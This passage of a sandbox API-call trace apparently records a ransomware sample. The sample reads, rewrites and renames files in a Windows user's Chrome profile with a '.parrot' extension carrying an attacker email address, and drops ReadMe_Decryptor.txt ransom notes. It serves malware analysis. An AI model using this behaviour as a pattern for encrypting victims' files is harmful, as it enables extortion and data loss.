dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d4d18 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d5360 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0047.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5360 | out: hHeap=0x5b0000) returned 1 [0047.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0047.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0047.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0047.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0047.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x669238 [0047.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0047.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x66c1d0 [0047.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0047.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x670920 [0047.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66c1d0 | out: hHeap=0x5b0000) returned 1 [0047.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x677400 [0047.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x670920 | out: hHeap=0x5b0000) returned 1 [0047.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x681430 [0047.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x677400 | out: hHeap=0x5b0000) returned 1 [0047.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x669238 [0047.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681430 | out: hHeap=0x5b0000) returned 1 [0047.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x67fa70 [0047.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0047.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x2240060 [0047.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67fa70 | out: hHeap=0x5b0000) returned 1 [0047.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x2272aa8 [0047.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0047.805] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x3150048 [0047.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272aa8 | out: hHeap=0x5b0000) returned 1 [0047.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xaae2c) returned 0x3350020 [0047.826] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80288, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.826] CloseHandle (hObject=0x278) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0047.826] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5d3658 [0047.826] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0047.826] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0047.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d34d0 | out: hHeap=0x5b0000) returned 1 [0047.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0047.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0047.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0047.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0047.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0047.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0047.831] GetFileType (hFile=0x278) returned 0x1 [0047.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0047.842] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0047.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaca2ee80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa8c4b280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_0~1.PAR")) returned 1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0047.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0047.843] lstrcmpW (lpString1="data_0.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d2c38 [0047.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa9453cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x42128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_1~1.PAR")) returned 1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0047.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0047.843] lstrcmpW (lpString1="data_1.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d2d50 [0047.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa968f160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2128, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_2~1.PAR")) returned 1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0047.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0047.843] lstrcmpW (lpString1="data_2.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d3480 [0047.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xabf2c8c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x402118, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DATA_3~1.PAR")) returned 1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0047.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0047.843] lstrcmpW (lpString1="data_3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d3598 [0047.843] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaca2ee80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x80298, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="INDEX_~1.PAR")) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0047.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0047.844] lstrcmpW (lpString1="index.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d36b0 [0047.844] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8c4b280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa8c4b280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca54fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0047.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0047.844] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0047.844] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8c4b280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa8c4b280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaca54fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0047.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0047.844] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0047.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0047.844] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0047.844] lstrcmpW (lpString1="Cookies", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0048.018] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0x1c00 [0048.018] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.018] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.018] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0048.019] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.020] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0048.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0048.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0048.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0048.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0048.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0048.020] GetLastError () returned 0x0 [0048.021] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d2b80 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0048.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d3898 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cad68 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3898 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5caf50 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cfed8 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5caf50 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cad68 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfed8 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x2240060 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cce58 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x659230 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0048.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x65a770 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0048.022] WriteFile (in: hFile=0x270, lpBuffer=0x65a780*, nNumberOfBytesToWrite=0x1d28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x65a780*, lpNumberOfBytesWritten=0x18e8f4*=0x1d28, lpOverlapped=0x0) returned 1 [0048.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65a770 | out: hHeap=0x5b0000) returned 1 [0048.022] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.022] CloseHandle (hObject=0x270) returned 1 [0048.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0048.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5d37b8 [0048.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0048.023] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0048.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0048.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0048.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0048.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0048.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0048.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0048.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0048.025] GetFileType (hFile=0x270) returned 0x1 [0048.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0048.036] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.036] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.036] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0048.037] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.037] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x1d6, lpOverlapped=0x0) returned 1 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0048.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0048.037] GetLastError () returned 0x0 [0048.037] 